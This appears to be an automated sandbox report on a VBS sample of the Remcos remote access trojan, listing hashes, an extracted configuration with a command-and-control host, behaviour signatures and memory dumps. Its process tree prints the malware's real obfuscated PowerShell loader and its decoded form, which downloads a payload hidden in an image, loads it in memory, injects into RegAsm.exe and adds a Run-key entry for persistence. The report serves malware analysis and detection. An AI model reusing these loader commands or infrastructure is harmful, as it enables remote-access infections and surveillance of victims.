remcos | d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0 | Triage

Analysis

max time kernel
298s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-04-2024 09:46

Sharing

Report Analysis Logs

General

Target

IEnetworkings.vbs
Size

111KB
MD5

42d96a63fe345fe4a01752e1dcb06d1d
SHA1

f8d791007c1507cd15fdb53ee3f0ca477e7698ea
SHA256

d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0
SHA512

b87b3f16a8f437731e8e26fb09478a708f0a079eeebd5cd22cac3f23f239c521a34c837fafacb1c979109bb173dc6227008f0c70df57a897a52461f2d0721b83
SSDEEP

1536:y++/U1lBHFcJUJI+YZb5bJ9Gmgz/+rtfRDFqGb5uJZUU0tKl9CP8Z:y/U1DHFUGmgURDFBe0tKl9CP4

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
notess
keylog_path
%AppData%
mouse_option
false
mutex
Rmc-P0AEMX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 2328 WScript.exe
4 2328 WScript.exe
7 2328 WScript.exe
11 3312 powershell.exe
14 3312 powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\WQQ.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3312 set thread context of 676 3312 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
812	powershell.exe
812	powershell.exe
812	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 812 powershell.exe
Token: SeDebugPrivilege 3312 powershell.exe
Token: SeDebugPrivilege 4140 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

676 RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2328 wrote to memory of 812	2328	WScript.exe	powershell.exe
PID 2328 wrote to memory of 812	2328	WScript.exe	powershell.exe
PID 812 wrote to memory of 3312	812	powershell.exe	powershell.exe
PID 812 wrote to memory of 3312	812	powershell.exe	powershell.exe
PID 3312 wrote to memory of 4140	3312	powershell.exe	powershell.exe
PID 3312 wrote to memory of 4140	3312	powershell.exe	powershell.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe
PID 3312 wrote to memory of 676	3312	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IEnetworkings.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreRgBEDgTreFEDgTreVwDgTrevDgTreDQDgTreNDgTreDgTrexDgTreC8DgTreNQDgTre3DgTreC4DgTreMDgTreDgTre2DgTreC4DgTreNQDgTre5DgTreC4DgTreMwDgTreyDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBXDgTreFEDgTreUQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820', 'https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.FDQW/441/57.06.59.32//:ptth' , '1' , 'C:\ProgramData\' , 'WQQ','RegAsm',''))} }"
3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\WQQ.vbs
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:676

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f6c90ab0db80c6c3ea92556fda7273c7

SHA1
01d3866b1887cbb0abe9701f6b49c5dbc66a7dfa

SHA256
a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269

SHA512
aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
ab7fd41e366bcc43f3f9d467d5708b03

SHA1
ba9dd2ca36e9f8307aa6fd1ca5d469e7582b36cf

SHA256
53f9c4bb9220fd30d53e61e7104812e411373652383d3c69ecfaf64686edb547

SHA512
f186f1c793e12d09a2d80dbb93418a7b4d4def0355f33f0aedee9476ad0933cfe70095c34712e87cc44b1f1f723151c02bdc84a9bae657b53697d275dea3da7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
85bb175a72fe0074c7757151c81e74ca

SHA1
b97612965ff50b6e74b1dd7c73c60631b38a9176

SHA256
d164d9c50dc1787d18833a2d6d41544ea859f66614a4705ec73fc268d507f84d

SHA512
0d8de2be9a5ba8a106ee1aee1345c447c30059541580f1002648cf3d5aa40d57ceaa972238cdc8432b5356967c5f7ecdc15a4bd1fda96e857fd7e4552140a2e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vf444nms.shq.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\notess\logs.dat
Filesize
144B

MD5
dd2f8caf3da5d0348d4c71df9766f8ad

SHA1
c6e5b66376e532895f3001d770b4a40ec095db93

SHA256
bcbd0851fa9a13284a937fd7836e47c3a866c4b4ce280ca581a6b6a9baa106bf

SHA512
3608a26827f5786abe8627cd29c58f9d3ca1108498ceb57f01e525ab232af2278338f04f974ed8a6edd9923f71ac5ebe7d3aff91453bb8e2f645cbe10e25d05f

Download Submit
memory/676-118-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-117-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-191-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-190-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-174-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-159-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-158-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-150-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-143-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-142-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-135-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-134-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-126-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/676-151-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/812-15-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/812-18-0x000002C8A6410000-0x000002C8A6420000-memory.dmp

Filesize
64KB

Download
memory/812-106-0x000002C8A6410000-0x000002C8A6420000-memory.dmp

Filesize
64KB

Download
memory/812-113-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/812-65-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/812-69-0x000002C8A6410000-0x000002C8A6420000-memory.dmp

Filesize
64KB

Download
memory/812-16-0x000002C8A6410000-0x000002C8A6420000-memory.dmp

Filesize
64KB

Download
memory/812-19-0x000002C8BEDB0000-0x000002C8BEE26000-memory.dmp

Filesize
472KB

Download
memory/812-89-0x000002C8A6410000-0x000002C8A6420000-memory.dmp

Filesize
64KB

Download
memory/812-13-0x000002C8BEAA0000-0x000002C8BEAC2000-memory.dmp

Filesize
136KB

Download
memory/3312-94-0x000002DCDEAA0000-0x000002DCDEAB0000-memory.dmp

Filesize
64KB

Download
memory/3312-56-0x000002DCEF7D0000-0x000002DCEFA92000-memory.dmp

Filesize
2.8MB

Download
memory/3312-35-0x000002DCDEAA0000-0x000002DCDEAB0000-memory.dmp

Filesize
64KB

Download
memory/3312-91-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/3312-95-0x000002DCDEAA0000-0x000002DCDEAB0000-memory.dmp

Filesize
64KB

Download
memory/3312-102-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/3312-36-0x000002DCDEAA0000-0x000002DCDEAB0000-memory.dmp

Filesize
64KB

Download
memory/3312-55-0x000002DCDEAA0000-0x000002DCDEAB0000-memory.dmp

Filesize
64KB

Download
memory/3312-34-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/4140-92-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/4140-66-0x00007FF957DB0000-0x00007FF95879C000-memory.dmp

Filesize
9.9MB

Download
memory/4140-68-0x000002216B5A0000-0x000002216B5B0000-memory.dmp

Filesize
64KB

Download
memory/4140-71-0x000002216B5A0000-0x000002216B5B0000-memory.dmp

Filesize
64KB

Download
memory/4140-93-0x000002216B5A0000-0x000002216B5B0000-memory.dmp

Filesize
64KB

Download